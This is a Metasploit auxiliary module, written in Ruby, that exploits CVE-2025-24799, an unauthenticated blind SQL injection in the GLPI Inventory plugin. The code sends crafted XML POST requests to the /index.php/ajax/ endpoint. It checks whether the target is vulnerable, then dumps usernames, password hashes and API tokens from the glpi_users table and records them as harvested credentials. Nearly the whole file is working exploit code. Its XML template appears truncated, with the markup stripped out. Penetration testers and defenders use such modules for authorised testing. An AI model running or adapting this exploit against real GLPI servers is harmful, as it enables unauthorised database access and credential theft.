## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Exploit::SQLi prepend Msf::Exploit::Remote::AutoCheck class SqliObjectError < StandardError; end class TargetNotVulnerableError < StandardError; end GET_SQLI_OBJECT_FAILED_ERROR_MSG = 'Unable to successfully retrieve an SQLi object'.freeze def initialize(info = {}) super( update_info( info, 'Name' => 'GLPI Inventory Plugin Unauthenticated Blind Boolean SQLi', 'Description' => %q{ GLPI <= 1.0.18 fails to properly sanitize user supplied data when sent inside a `SimpleXMLElement` (available to unauthenticated users), prior to using it in a dynamically constructed SQL query. As a result, unauthenticated attackers can conduct an SQL injection attack to dump sensitive data from the backend database such as usernames and password hashes. In order for GLPI to be exploitable the GLPI Inventory plugin must be installed and enabled, and the "Enable Inventory" radio button inside the administration configuration also must be checked. }, 'Author' => [ 'rz', # Initial research 'jheysel-r7' # Metasploit module ], 'References' => [ [ 'URL', 'https://blog.lexfo.fr/glpi-sql-to-rce.html'], [ 'CVE', '2025-24799'] ], 'License' => MSF_LICENSE, 'DisclosureDate' => '2025-03-12', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI', [ true, 'The URL of the GLPI application', '/glpi/' ]), OptInt.new('MAX_ENTRIES', [ true, 'The maximum number of entries to dump from the database. More entries will increase module runtime', 6 ]) ]) end def build_xml(payload) <<~EOF get_params EOF end def send_request(payload) send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/index.php/ajax/'), 'headers' => { 'Content-Type' => 'application/xml' }, 'data' => build_xml(payload) }) end def verify_extra_columns (5..10).each do |extra_cols| @extra_columns = extra_cols if @sqli.test_vulnerable return true end end raise TargetNotVulnerableError, 'This target appears to not be vulnerable' end def check randnum = SecureRandom.random_number(1000) @extra_columns = 10 res = send_request("select #{randnum}=#{randnum}") return Exploit::CheckCode::Safe('Inventory is disabled and needs to be enabled in order to be vulnerable') if res&.body == 'Inventory is disabled' begin @sqli = get_sqli_object rescue SQLExecutionError => e return Exploit::CheckCode::Unknown("#{e.class}: #{e.message}") end return Exploit::CheckCode::Unknown(GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG begin verify_extra_columns rescue TargetNotVulnerableError => e return Exploit::CheckCode::Safe("#{e.class}: #{e.message}") end Exploit::CheckCode::Vulnerable('Time based blind boolean injection succeeded') end def get_sqli_object create_sqli(dbms: MySQLi::TimeBasedBlind) do |payload| res = send_request(payload) raise SqliObjectError, 'Module failed to create SQLi object' unless res end end def run @extra_columns = 10 begin @sqli ||= get_sqli_object rescue SQLExecutionError => e fail_with(Failure::Unknown, "#{e.class}: #{e.message}") end fail_with(Failure::UnexpectedReply, GET_SQLI_OBJECT_FAILED_ERROR_MSG) unless @sqli begin verify_extra_columns rescue TargetNotVulnerableError => e fail_with(Failure::NoTarget, "#{e.class}: #{e.message}") end creds_table = Rex::Text::Table.new( 'Header' => 'glpi_users', 'Indent' => 1, 'Columns' => %w[user password api_token] ) print_status('Extracting credential information') users = @sqli.dump_table_fields('glpi_users', %w[name password api_token], '', datastore['MAX_ENTRIES']) users.each do |(user, password, api_token)| creds_table << [user, password, api_token] create_credential({ workspace_id: myworkspace_id, origin_type: :service, module_fullname: fullname, username: user, private_type: :nonreplayable_hash, jtr_format: Metasploit::Framework::Hashes.identify_hash(password), private_data: password, service_name: 'GLPI', address: datastore['RHOSTS'], port: datastore['RPORT'], protocol: 'tcp', status: Metasploit::Model::Login::Status::UNTRIED }) end print_line creds_table.to_s end end